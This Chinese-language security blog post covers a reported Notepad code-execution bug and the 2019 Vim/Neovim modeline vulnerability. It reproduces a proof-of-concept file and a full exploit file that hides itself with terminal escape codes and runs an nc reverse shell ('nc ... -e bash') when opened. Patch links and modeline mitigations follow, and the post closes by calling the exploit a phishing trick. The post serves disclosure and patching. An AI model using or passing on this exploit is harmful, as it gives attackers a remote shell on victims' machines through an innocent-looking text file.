首页 » NetworkSec » Penetration » 正文

microsoft notepad和linux vim/neovim的RCE漏洞

0x00 notepad rce

20190528,Google Project Zero研究员Tavis Ormandy宣布在微软的记事本中发现代码执行漏洞。
从他发布的图片看有看出,成功在记事本进程下启动cmd shell。

由于漏洞披露原则,暂未公开具体漏洞细节。
 

0x01 vim/neovim rce

1周后,20190604,vim也被曝出rce……
名为Arminius的安全研究员发现vim/neovim的本地任意代码执行漏洞,poc和exp已公开:
影响范围:Vim < 8.1.1365, Neovim < 0.3.6
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
//建议直接用原作者的poc和exp,复制和修改可能会失败!
POC:

poc.txt
:!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”

 
:set modeline
$ vim poc.txt

EXP:

exp.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 7766 -e bash &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n

//这里用cat还是能看出来一点exp,可能是编辑器或者win7系统的原因

打开即可成功反弹shell,并覆写文件以隐藏,cat exp.txt看不出(加-v可以看出)
 
 

0x02 修复方案

 
vim补丁8.1.1365
https://github.com/vim/vim/commit/5357552
neovim补丁(在v0.3.6中发布)
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
 
在vimrc中禁用modeline(设置nomodeline),使用securemines插件,或禁用modelineexpr(从8.1.1366补丁开始,仅支持vim)以禁用modeline中的表达式。
 

0x03 结语

钓鱼妙招!
 

0x04 参考资料

https://mp.weixin.qq.com/s/f4s7x5MciLDFirSNLlBh3Q

Comment

please input captcha *